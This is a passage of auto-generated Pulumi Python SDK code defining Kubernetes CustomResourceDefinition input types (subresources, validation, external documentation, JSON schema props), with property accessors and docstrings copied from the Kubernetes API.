ignore changes to anything other than the `status` stanza of the object. """ return pulumi.get(self, "status") @status.setter def status(self, value: Optional[Any]): pulumi.set(self, "status", value) @pulumi.input_type class CustomResourceSubresourcesArgs: def __init__(__self__, *, scale: Optional[pulumi.Input['CustomResourceSubresourceScaleArgs']] = None, status: Optional[Any] = None): """ CustomResourceSubresources defines the status and scale subresources for CustomResources. :param pulumi.Input['CustomResourceSubresourceScaleArgs'] scale: scale indicates the custom resource should serve a `/scale` subresource that returns an `autoscaling/v1` Scale object. :param Any status: status indicates the custom resource should serve a `/status` subresource. When enabled: 1. requests to the custom resource primary endpoint ignore changes to the `status` stanza of the object. 2. requests to the custom resource `/status` subresource ignore changes to anything other than the `status` stanza of the object. """ if scale is not None: pulumi.set(__self__, "scale", scale) if status is not None: pulumi.set(__self__, "status", status) @property @pulumi.getter def scale(self) -> Optional[pulumi.Input['CustomResourceSubresourceScaleArgs']]: """ scale indicates the custom resource should serve a `/scale` subresource that returns an `autoscaling/v1` Scale object. """ return pulumi.get(self, "scale") @scale.setter def scale(self, value: Optional[pulumi.Input['CustomResourceSubresourceScaleArgs']]): pulumi.set(self, "scale", value) @property @pulumi.getter def status(self) -> Optional[Any]: """ status indicates the custom resource should serve a `/status` subresource. When enabled: 1. requests to the custom resource primary endpoint ignore changes to the `status` stanza of the object. 2. requests to the custom resource `/status` subresource ignore changes to anything other than the `status` stanza of the object. """ return pulumi.get(self, "status") @status.setter def status(self, value: Optional[Any]): pulumi.set(self, "status", value) @pulumi.input_type class CustomResourceValidationPatchArgs: def __init__(__self__, *, open_apiv3_schema: Optional[pulumi.Input['JSONSchemaPropsPatchArgs']] = None): """ CustomResourceValidation is a list of validation methods for CustomResources. :param pulumi.Input['JSONSchemaPropsPatchArgs'] open_apiv3_schema: openAPIV3Schema is the OpenAPI v3 schema to use for validation and pruning. """ if open_apiv3_schema is not None: pulumi.set(__self__, "open_apiv3_schema", open_apiv3_schema) @property @pulumi.getter(name="openAPIV3Schema") def open_apiv3_schema(self) -> Optional[pulumi.Input['JSONSchemaPropsPatchArgs']]: """ openAPIV3Schema is the OpenAPI v3 schema to use for validation and pruning. """ return pulumi.get(self, "open_apiv3_schema") @open_apiv3_schema.setter def open_apiv3_schema(self, value: Optional[pulumi.Input['JSONSchemaPropsPatchArgs']]): pulumi.set(self, "open_apiv3_schema", value) @pulumi.input_type class CustomResourceValidationArgs: def __init__(__self__, *, open_apiv3_schema: Optional[pulumi.Input['JSONSchemaPropsArgs']] = None): """ CustomResourceValidation is a list of validation methods for CustomResources. :param pulumi.Input['JSONSchemaPropsArgs'] open_apiv3_schema: openAPIV3Schema is the OpenAPI v3 schema to use for validation and pruning. """ if open_apiv3_schema is not None: pulumi.set(__self__, "open_apiv3_schema", open_apiv3_schema) @property @pulumi.getter(name="openAPIV3Schema") def open_apiv3_schema(self) -> Optional[pulumi.Input['JSONSchemaPropsArgs']]: """ openAPIV3Schema is the OpenAPI v3 schema to use for validation and pruning. """ return pulumi.get(self, "open_apiv3_schema") @open_apiv3_schema.setter def open_apiv3_schema(self, value: Optional[pulumi.Input['JSONSchemaPropsArgs']]): pulumi.set(self, "open_apiv3_schema", value) @pulumi.input_type class ExternalDocumentationPatchArgs: def __init__(__self__, *, description: Optional[pulumi.Input[str]] = None, url: Optional[pulumi.Input[str]] = None): """ ExternalDocumentation allows referencing an external resource for extended documentation. """ if description is not None: pulumi.set(__self__, "description", description) if url is not None: pulumi.set(__self__, "url", url) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter def url(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "url") @url.setter def url(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "url", value) @pulumi.input_type class ExternalDocumentationArgs: def __init__(__self__, *, description: Optional[pulumi.Input[str]] = None, url: Optional[pulumi.Input[str]] = None): """ ExternalDocumentation allows referencing an external resource for extended documentation. """ if description is not None: pulumi.set(__self__, "description", description) if url is not None: pulumi.set(__self__, "url", url) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter def url(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "url") @url.setter def url(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "url", value) @pulumi.input_type class JSONSchemaPropsPatchArgs: def __init__(__self__, *, _ref: Optional[pulumi.Input[str]] = None, _schema: Optional[pulumi.Input[str]] = None, additional_items: Optional[pulumi.Input[Union['JSONSchemaPropsArgs', bool]]] = None, additional_properties: Optional[pulumi.Input[Union['JSONSchemaPropsArgs', bool]]] = None, all_of: Optional[pulumi.Input[Sequence[pulumi.Input['JSONSchemaPropsPatchArgs']]]] = None, any_of: Optional[pulumi.Input[Sequence[pulumi.Input['JSONSchemaPropsPatchArgs']]]] = None, default: Optional[Any] = None, definitions: Optional[pulumi.Input[Mapping[str, pulumi.Input['JSONSchemaPropsArgs']]]] = None, dependencies: Optional[pulumi.Input[Mapping[str, pulumi.Input[Union['JSONSchemaPropsArgs', Sequence[pulumi.Input[str]]]]]]] = None, description: Optional[pulumi.Input[str]] = None, enum: Optional[pulumi.Input[Sequence[Any]]] = None, example: Optional[Any] = None, exclusive_maximum: Optional[pulumi.Input[bool]] = None, exclusive_minimum: Optional[pulumi.Input[bool]] = None, external_docs: Optional[pulumi.Input['ExternalDocumentationPatchArgs']] = None, format: Optional[pulumi.Input[str]] = None, id: Optional[pulumi.Input[str]] = None, items: Optional[pulumi.Input[Union['JSONSchemaPropsArgs', Sequence[Any]]]] = None, max_items: Optional[pulumi.Input[int]] = None, max_length: Optional[pulumi.Input[int]] = None, max_properties: Optional[pulumi.Input[int]] = None, maximum: Optional[pulumi.Input[float]] = None, min_items: Optional[pulumi.Input[int]] = None, min_length: Optional[pulumi.Input[int]] = None, min_properties: Optional[pulumi.Input[int]] = None, minimum: Optional[pulumi.Input[float]] = None, multiple_of: Optional[pulumi.Input[float]] = None, not_: Optional[pulumi.Input['JSONSchemaPropsPatchArgs']] = None, nullable: Optional[pulumi.Input[bool]] = None, one_of: Optional[pulumi.Input[Sequence[pulumi.Input['JSONSchemaPropsPatchArgs']]]] = None, pattern: Optional[pulumi.Input[str]] = None, pattern_properties: Optional[pulumi.Input[Mapping[str, pulumi.Input['JSONSchemaPropsArgs']]]] = None, properties: Optional[pulumi.Input[Mapping[str, pulumi.Input['JSONSchemaPropsArgs']]]] = None, required: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, title: Optional[pulumi.Input[str]] = None, type: Optional[pulumi.Input[str]] = None, unique_items: Optional[pulumi.Input[bool]] = None, x_kubernetes_embedded_resource: Optional[pulumi.Input[bool]] = None, x_kubernetes_int_or_string: Optional[pulumi.Input[bool]] = None, x_kubernetes_list_map_keys: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, x_kubernetes_list_type: Optional[pulumi.Input[str]] = None, x_kubernetes_map_type: Optional[pulumi.Input[str]] = None, x_kubernetes_preserve_unknown_fields: Optional[pulumi.Input[bool]] = None, x_kubernetes_validations: Optional[pulumi.Input[Sequence[pulumi.Input['ValidationRulePatchArgs']]]] = None): """ JSONSchemaProps is a JSON-Schema following Specification Draft 4 (http://json-schema.org/). :param Any default: default is a default value for undefined object fields. Defaulting is a beta feature under the CustomResourceDefaulting feature gate. Defaulting requires spec.preserveUnknownFields to be false. :param pulumi.Input[str] format: format is an OpenAPI v3 format string. Unknown formats are ignored. The following formats are validated: - bsonobjectid: a bson object ID, i.e. a 24 characters hex string - uri: an URI as parsed by Golang net/url.ParseRequestURI - email: an email address as parsed by Golang net/mail.ParseAddress - hostname: a valid representation for an Internet host name, as defined by RFC 1034, section 3.1 [RFC1034]. - ipv4: an IPv4 IP as parsed by Golang net.ParseIP - ipv6: an IPv6 IP as parsed by Golang net.ParseIP - cidr: a CIDR as parsed by Golang net.ParseCIDR - mac: a MAC address as parsed by Golang net.ParseMAC - uuid: an UUID that allows uppercase defined by the regex (?i)^[0-9a-f]{8}-?[0-9a-f]{4}-?[0-9a-f]{4}-?[0-9a-f]{4}-?[0-9a-f]{12}$ - uuid3: an UUID3 that allows uppercase defined by the regex (?i)^[0-9a-f]{8}-?[0-9a-f]{4}-?3[0-9a-f]{3}-?[0-9a-f]{4}-?[0-9a-f]{12}$ - uuid4: an UUID4 that allows uppercase defined by the regex (?i)^[0-9a-f]{8}-?[0-9a-f]{4}-?4[0-9a-f]{3}-?[89ab][0-9a-f]{3}-?[0-9a-f]{12}$ - uuid5: an UUID5 that allows uppercase defined by the regex (?i)^[0-9a-f]{8}-?[0-9a-f]{4}-?5[0-9a-f]{3}-?[89ab][0-9a-f]{3}-?[0-9a-f]{12}$ - isbn: an ISBN10 or ISBN13 number string like "0321751043" or "978-0321751041" - isbn10: an ISBN10 number string like "0321751043" - isbn13: an ISBN13 number string like "978-0321751041" - creditcard: a credit card number defined by the regex ^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6(?:011|5[0-9][0-9])[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\\d{3})\\d{11})$ with any non digit characters mixed in - ssn: a U.S. social security number following the regex ^\\d{3}[- ]?\\d{2}[- ]?\\d{4}$ - hexcolor: an hexadecimal color code like "#FFFFFF: following the regex ^#?([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$ - rgbcolor: an RGB color code like rgb like "rgb(255,255,2559" - byte: base64 encoded binary data - password: any kind of string - date: a date string like "2006-01-02" as defined by full-date in RFC3339 - duration: a duration string like "22 ns" as parsed by Golang time.ParseDuration or compatible with Scala duration format - datetime: a date time string like "2014-12-15T19:30:20.000Z" as defined by date-time in RFC3339. :param pulumi.Input[bool] x_kubernetes_embedded_resource: x-kubernetes-embedded-resource defines that the value is an embedded Kubernetes runtime.Object, with TypeMeta and ObjectMeta. The type must be object. It is allowed to further restrict the embedded object. kind, apiVersion and metadata are validated automatically. x-kubernetes-preserve-unknown-fields is allowed to be true, but does not have to be if the object is fully specified (up to kind, apiVersion, metadata). :param pulumi.Input[bool] x_kubernetes_int_or_string: x-kubernetes-int-or-string specifies that this value is either an integer or a string. If this is true, an empty type is allowed and type as child of anyOf is permitted if following one of the following patterns: 1) anyOf: - type: integer - type: string 2) allOf: - anyOf: - type: integer - type: string - ... zero or more :param pulumi.Input[Sequence[pulumi.Input[str]]] x_kubernetes_list_map_keys: x-kubernetes-list-map-keys annotates an array with the x-kubernetes-list-type `map` by specifying the keys used as the index of the map. This tag MUST only be used on lists that have the "x-kubernetes-list-type" extension set to "map". Also, the values specified for this attribute must be a scalar typed field of the child structure (no nesting is supported). The properties specified must either be required or have a default value, to ensure those properties are present for all list items. :param pulumi.Input[str] x_kubernetes_list_type: x-kubernetes-list-type annotates an array to further describe its topology. This extension must only be used on lists and may have 3 possible values: 1) `atomic`: the list is treated as a single entity, like a scalar. Atomic lists will be entirely replaced when updated. This extension may be used on any type of list (struct, scalar, ...). 2) `set`: Sets are lists that must not have multiple items with the same value. Each value must be a scalar, an object with x-kubernetes-map-type `atomic` or an array with x-kubernetes-list-type `atomic`. 3) `map`: These lists are like maps in that their elements have a non-index key used to identify them. Order is preserved upon merge. The map tag must only be used on a list with elements of type object. Defaults to atomic for arrays. :param pulumi.Input[str] x_kubernetes_map_type: x-kubernetes-map-type annotates an object to further describe its topology. This extension must only be used when type is object and may have 2 possible values: 1) `granular`: These maps are actual maps (key-value pairs) and each fields are independent from each other (they can each be manipulated by separate actors). This is the default behaviour for all maps. 2) `atomic`: the list is treated as a single entity, like a scalar. Atomic maps will be entirely replaced when updated. :param pulumi.Input[bool] x_kubernetes_preserve_unknown_fields: x-kubernetes-preserve-unknown-fields stops the API server decoding step from pruning fields which are not specified in the validation schema. This affects fields recursively, but switches back to normal pruning behaviour if nested properties or additionalProperties are specified in the schema. This can either be true or undefined. False is forbidden. :param pulumi.Input[Sequence[pulumi.Input['ValidationRulePatchArgs']]] x_kubernetes_validations: x-kubernetes-validations describes a list of validation rules written in the CEL expression language. This field is an alpha-level. Using this field requires the feature gate `CustomResourceValidationExpressions` to be enabled. """ if _ref is not None: pulumi.set(__self__, "_ref", _ref) if _schema is not None: pulumi.set(__self__, "_schema", _schema) if additional_items is not None: pulumi.set(__self__, "additional_items", additional_items) if additional_properties is not None: pulumi.set(__self__, "additional_properties", additional_properties) if all_of is not None: pulumi.set(__self__, "all_of", all_of) if any_of is not None: pulumi.set(__self__, "any_of", any_of) if default is not None: pulumi.set(__self__, "default", default) if definitions is not None: pulumi.set(__self__, "definitions", definitions) if dependencies is not None: pulumi.set(__self__, "dependencies", dependencies) if description is not None: pulumi.set(__self__, "description", description) if enum is not None: pulumi.set(__self__, "enum", enum) if example is not None: pulumi.set(__self__, "example", example) if exclusive_maximum is not None: pulumi.set(__self__, "exclusive_maximum", exclusive_maximum) if exclusive_minimum is not None: pulumi.set(__self__, "exclusive_minimum", exclusive_minimum) if external_docs is not None: pulumi.set(__self__, "external_docs", external_docs) if format is not None: pulumi.set(__self__, "format", format) if id is not None: pulumi.set(__self__, "id", id) if items is not None: pulumi.set(__self__, "items", items) if max_items is not None: pulumi.set(__self__, "max_items", max_items) if max_length is not None: pulumi.set(__self__, "max_length", max_length) if max_properties is not None: pulumi.set(__self__, "max_properties", max_properties) if maximum is not None: pulumi.set(__self__, "maximum", maximum) if min_items is not None: pulumi.set(__self__, "min_items", min_items) if min_length is not None: pulumi.set(__self__, "min_length", min_length) if min_properties is not None: pulumi.set(__self__, "min_properties", min_properties) if minimum is not None: pulumi.set(__self__, "minimum", minimum) if multiple_of is not None: pulumi.set(__self__, "multiple_of", multiple_of) if not_ is not None: pulumi.set(__self__, "not_", not_) if nullable is not None: pulumi.set(__self__, "nullable", nullable) if one_of is not None: pulumi.set(__self__, "one_of", one_of) if pattern is not None: pulumi.set(__self__, "pattern", pattern) if pattern_properties is not None: pulumi.set(__self__, "pattern_properties", pattern_properties) if properties is not None: pulumi.set(__self__, "properties", properties) if required is not None: pulumi.set(__self__, "required", required) if title is not None: pulumi.set(__self__, "title", title) if type is not None: pulumi.set(__self__, "type", type) if unique_items is not None: pulumi.set(__self__, "unique_items", unique_items) if x_kubernetes_embedded_resource is not None: pulumi.set(__self__, "x_kubernetes_embedded_resource", x_kubernetes_embedded_resource) if x_kubernetes_int_or_string is not None: pulumi.set(__self__, "x_kubernetes_int_or_string", x_kubernetes_int_or_string) if x_kubernetes_list_map_keys is not None: pulumi.set(__self__, "x_kubernetes_list_map_keys", x_kubernetes_list_map_keys) if x_kubernetes_list_type is not None: pulumi.set(__self__, "x_kubernetes_list_type", x_kubernetes_list_type) if x_kubernetes_map_type is not None: pulumi.set(__self__, "x_kubernetes_map_type", x_kubernetes_map_type) if x_kubernetes_preserve_unknown_fields is not None: pulumi.set(__self__, "x_kubernetes_preserve_unknown_fields", x_kubernetes_preserve_unknown_fields) if x_kubernetes_validations is not None: pulumi.set(__self__, "x_kubernetes_validations", x_kubernetes_validations) @property @pulumi.getter(name="$ref") def _ref(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "_ref") @_ref.setter def _ref(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "_ref", value) @property @pulumi.getter(name="$schema") def _schema(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "_schema") @_schema.setter def _schema(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "_schema", value) @property @pulumi.getter(name="additionalItems") def additional_items(self) -> Optional[pulumi.Input[Union['JSONSchemaPropsArgs', bool]]]: return pulumi.get(self, "additional_items") @additional_items.setter def additional_items(self, value: Optional[pulumi.Input[Union['JSONSchemaPropsArgs', bool]]]): pulumi.set(self, "additional_items", value) @property @pulumi.getter(name="additionalProperties") def additional_properties(self) -> Optional[pulumi.Input[Union['JSONSchemaPropsArgs', bool]]]: return pulumi.get(self, "additional_properties") @additional_properties.setter def additional_properties(self, value: Optional[pulumi.Input[Union['JSONSchemaPropsArgs', bool]]]): pulumi.set(self, "additional_properties", value) @property @pulumi.getter(name="allOf") def all_of(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['JSONSchemaPropsPatchArgs']]]]: return pulumi.get(self, "all_of") @all_of.setter def all_of(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['JSONSchemaPropsPatchArgs']]]]): pulumi.set(self, "all_of", value) @property @pulumi.getter(name="anyOf") def any_of(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['JSONSchemaPropsPatchArgs']]]]: return pulumi.get(self, "any_of") @any_of.setter def any_of(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['JSONSchemaPropsPatchArgs']]]]): pulumi.set(self, "any_of", value) @property @pulumi.getter def default(self) -> Optional[Any]: """ default is a default value for undefined object fields. Defaulting is a beta feature under the CustomResourceDefaulting feature gate. Defaulting requires spec.preserveUnknownFields to be false. """ return pulumi.get(self, "default") @default.setter def default(self, value: Optional[Any]): pulumi.set(self, "default", value) @property @pulumi.getter def definitions(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input['JSONSchemaPropsArgs']]]]: return pulumi.get(self, "definitions") @definitions.setter def definitions(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input['JSONSchemaPropsArgs']]]]): pulumi.set(self, "definitions", value) @property @pulumi.getter def dependencies(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[Union['JSONSchemaPropsArgs', Sequence[pulumi.Input[str]]]]]]]: return pulumi.get(self, "dependencies") @dependencies.setter def dependencies(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[Union['JSONSchemaPropsArgs', Sequence[pulumi.Input[str]]]]]]]): pulumi.set(self, "dependencies", value) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter def enum(self) -> Optional[pulumi.Input[Sequence[Any]]]: return pulumi.get(self, "enum") @enum.setter def enum(self, value: Optional[pulumi.Input[Sequence[Any]]]): pulumi.set(self, "enum", value) @property @pulumi.getter def example(self) -> Optional[Any]: return pulumi.get(self, "example") @example.setter def example(self, value: Optional[Any]): pulumi.set(self, "example", value) @property @pulumi.getter(name="exclusiveMaximum") def exclusive_maximum(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "exclusive_maximum") @exclusive_maximum.setter def exclusive_maximum(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "exclusive_maximum", value) @property @pulumi.getter(name="exclusiveMinimum") def exclusive_minimum(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "exclusive_minimum") @exclusive_minimum.setter def exclusive_minimum(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "exclusive_minimum", value) @property @pulumi.getter(name="externalDocs") def external_docs(self) -> Optional[pulumi.Input['ExternalDocumentationPatchArgs']]: return pulumi.get(self, "external_docs") @external_docs.setter def external_docs(self, value: Optional[pulumi.Input['ExternalDocumentationPatchArgs']]): pulumi.set(self, "external_docs", value) @property @pulumi.getter def format(self) -> Optional[pulumi.Input[str]]: """ format is an OpenAPI v3 format string. Unknown formats are ignored. The following formats are validated: - bsonobjectid: a bson object ID, i.e. a 24 characters hex string - uri: an URI as parsed by Golang net/url.ParseRequestURI - email: an email address as parsed by Golang net/mail.ParseAddress - hostname: a valid representation for an Internet host name, as defined by RFC 1034, section 3.1 [RFC1034]. - ipv4: an IPv4 IP as parsed by Golang net.ParseIP - ipv6: an IPv6 IP as parsed by Golang net.ParseIP - cidr: a CIDR as parsed by Golang net.ParseCIDR - mac: a MAC address as parsed by Golang net.ParseMAC - uuid: an UUID that allows uppercase defined by the regex (?i)^[0-9a-f]{8}-?[0-9a-f]{4}-?[0-9a-f]{4}-?[0-9a-f]{4}-?[0-9a-f]{12}$ - uuid3: an UUID3 that allows uppercase defined by the regex (?i)^[0-9a-f]{8}-?[0-9a-f]{4}-?3[0-9a-f]{3}-?[0-9a-f]{4}-?[0-9a-f]{12}$ - uuid4: an UUID4 that allows uppercase defined by the regex (?i)^[0-9a-f]{8}-?[0-9a-f]{4}-?4[0-9a-f]{3}-?[89ab][0-9a-f]{3}-?[0-9a-f]{12}$ - uuid5: an UUID5 that allows uppercase defined by the regex (?i)^[0-9a-f]{8}-?[0-9a-f]{4}-?5[0-9a-f]{3}-?[89ab][0-9a-f]{3}-?[0-9a-f]{12}$ - isbn: an ISBN10 or ISBN13 number string like "0321751043" or "978-0321751041" - isbn10: an ISBN10 number string like "0321751043" - isbn13: an ISBN13 number string like "978-0321751041" - creditcard: a credit card number defined by the regex ^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6(?:011|5[0-9][0-9])[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\\d{3})\\d{11})$ with any non digit characters mixed in - ssn: a U.S. social security number following the regex ^\\d{3}[- ]?\\d{2}[- ]?\\d{4}$ - hexcolor: an hexadecimal color code like "#FFFFFF: following the regex ^#?([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$ - rgbcolor: an RGB color code like rgb like "rgb(255,255,2559" - byte: base64 encoded binary data - password: any kind of string - date: a date string like "2006-01-02" as defined by full-date in RFC3339 - duration: a duration string like "22 ns" as parsed by Golang time.ParseDuration or compatible with Scala duration format - datetime: a date time string like "2014-12-15T19:30:20.000Z" as defined by date-time in RFC3339. """ return pulumi.get(self, "format") @format.setter def format(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "format", value) @property @pulumi.getter def id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "id") @id.setter def id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "id", value) @property @pulumi.getter def items(self) -> Optional[pulumi.Input[Union['JSONSchemaPropsArgs', Sequence[Any]]]]: return pulumi.get(self, "items") @items.setter def items(self, value: Optional[pulumi.Input[Union['JSONSchemaPropsArgs', Sequence[Any]]]]): pulumi.set(self, "items", value) @property @pulumi.getter(name="maxItems") def max_items(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "max_items") @max_items.setter def max_items(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "max_items", value) @property @pulumi.getter(name="maxLength") def max_length(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "max_length") @max_length.setter def max_length(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "max_length", value) @property @pulumi.getter(name="maxProperties") def max_properties(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "max_properties") @max_properties.setter def max_properties(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "max_properties", value) @property @pulumi.getter def maximum(self) -> Optional[pulumi.Input[float]]: return pulumi.get(self, "maximum") @maximum.setter def maximum(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "maximum", value) @property @pulumi.getter(name="minItems") def min_items(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "min_items") @min_items.setter def min_items(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "min_items", value) @property @pulumi.getter(name="minLength") def min_length(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "min_length") @min_length.setter def min_length(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "min_length", value) @property @pulumi.getter(name="minProperties") def min_properties(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "min_properties") @min_properties.setter def min_properties(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "min_properties", value) @property @pulumi.getter def minimum(self) -> Optional[pulumi.Input[float]]: return pulumi.get(self, "minimum") @minimum.setter def minimum(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "minimum", value) @property @pulumi.getter(name="multipleOf") def multiple_of(self) -> Optional[pulumi.Input[float]]: return pulumi.get(self, "multiple_of") @multiple_of.setter def multiple_of(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "multiple_of", value) @property @pulumi.getter(name="not") def not_(self) -> Optional[pulumi.Input['JSONSchemaPropsPatchArgs']]: return pulumi.get(self, "not_") @not_.setter def not_(self, value: Optional[pulumi.Input['JSONSchemaPropsPatchArgs']]): pulumi.set(self, "not_", value) @property @pulumi.getter def nullable(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "nullable") @nullable.setter def nullable(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "nullable", value) @property @pulumi.getter(name="oneOf") def one_of(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['JSONSchemaPropsPatchArgs']]]]: return pulumi.get(self, "one_of") @one_of.setter def one_of(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['JSONSchemaPropsPatchArgs']]]]): pulumi.set(self, "one_of", value) @property @pulumi.getter def pattern(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "pattern") @pattern.setter def pattern(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "pattern", value) @property @pulumi.getter(name="patternProperties") def pattern_properties(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input['JSONSchemaPropsArgs']]]]: return pulumi.get(self, "pattern_properties") @pattern_properties.setter def pattern_properties(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input['JSONSchemaPropsArgs']]]]): pulumi.set(self, "pattern_properties", value) @property @pulumi.getter def properties(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input['JSONSchemaPropsArgs']]]]: return pulumi.get(self, "properties") @properties.setter def properties(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input['JSONSchemaPropsArgs']]]]): pulumi.set(self, "properties", value) @property @pulumi.getter def required(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: return pulumi.get(self, "required") @required.setter def required(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "required", value) @property @pulumi.getter def title(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "title") @title.setter def title(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "title", value) @property @pulumi.getter def type(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "type") @type.setter def type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "type", value) @property @pulumi.getter(name="uniqueItems") def unique_items(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "unique_items") @unique_items.setter def unique_items(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "unique_items", value) @property @pulumi.getter def x_kubernetes_embedded_resource(self) -> Optional[pulumi.Input[bool]]: """ x-kubernetes-embedded-resource defines that the value is an embedded Kubernetes runtime.Object, with TypeMeta and ObjectMeta. The type must be object. It is allowed to further restrict the embedded object. kind, apiVersion and metadata are validated automatically. x-kubernetes-preserve-unknown-fields is allowed to be true, but does not have to be if the object is fully specified (up to kind, apiVersion, metadata). """ return pulumi.get(self, "x_kubernetes_embedded_resource") @x_kubernetes_embedded_resource.setter def x_kubernetes_embedded_resource(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "x_kubernetes_embedded_resource", value) @property @pulumi.getter def x_kubernetes_int_or_string(self) -> Optional[pulumi.Input[bool]]: """ x-kubernetes-int-or-string specifies that this value is either an integer or a string. If this is true, an empty type is allowed and type as child of anyOf is permitted if following one of the following patterns: 1) anyOf: - type: integer - type: string 2) allOf: - anyOf: - type: integer - type: string - ... zero or more """ return pulumi.get(self, "x_kubernetes_int_or_string") @x_kubernetes_int_or_string.setter def x_kubernetes_int_or_string(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "x_kubernetes_int_or_string", value) @property @pulumi.getter def x_kubernetes_list_map_keys(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ x-kubernetes-list-map-keys annotates an array with the x-kubernetes-list-type `map` by specifying the keys used as the index of the map. This tag MUST only be used on lists that have the "x-kubernetes-list-type" extension set to "map". Also, the values specified for this attribute must be a scalar typed field of the child structure (no nesting is supported). The properties specified must either be required or have a default value, to ensure those properties are present for all list items. """ return pulumi.get(self, "x_kubernetes_list_map_keys") @x_kubernetes_list_map_keys.setter def x_kubernetes_list_map_keys(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "x_kubernetes_list_map_keys", value) @property @pulumi.getter def x_kubernetes_list_type(self) -> Optional[pulumi.Input[str]]: """ x-kubernetes-list-type annotates an array to further describe its topology. This extension must only be used on lists and may have 3 possible values: 1) `atomic`: the list is treated as a single entity, like a scalar. Atomic lists will be entirely replaced when updated. This extension may be used on any type of list (struct, scalar, ...). 2) `set`: Sets are lists that must not have multiple items with the same value. Each value must be a scalar, an object with x-kubernetes-map-type `atomic` or an array with x-kubernetes-list-type `atomic`. 3) `map`: These lists are like maps in that their elements have a non-index key used to identify them. Order is preserved upon merge. The map tag must only be used on a list with elements of type object. Defaults to atomic for arrays. """ return pulumi.get(self, "x_kubernetes_list_type") @x_kubernetes_list_type.setter def x_kubernetes_list_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "x_kubernetes_list_type", value) @property @pulumi.getter def x_kubernetes_map_type(self) -> Optional[pulumi.Input[str]]: """ x-kubernetes-map-type annotates an object to further describe its topology. This extension must only be used when type is object and may have 2 possible values: 1) `granular`: These maps are actual maps (key-value pairs) and each fields are independent from each other (they can each be manipulated by separate actors). This is the default behaviour for all maps. 2) `atomic`: the list is treated as a single entity, like a scalar. Atomic maps will be entirely replaced when updated. """ return pulumi.get(self, "x_kubernetes_map_type") @x_kubernetes_map_type.setter def x_kubernetes_map_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "x_kubernetes_map_type", value) @property 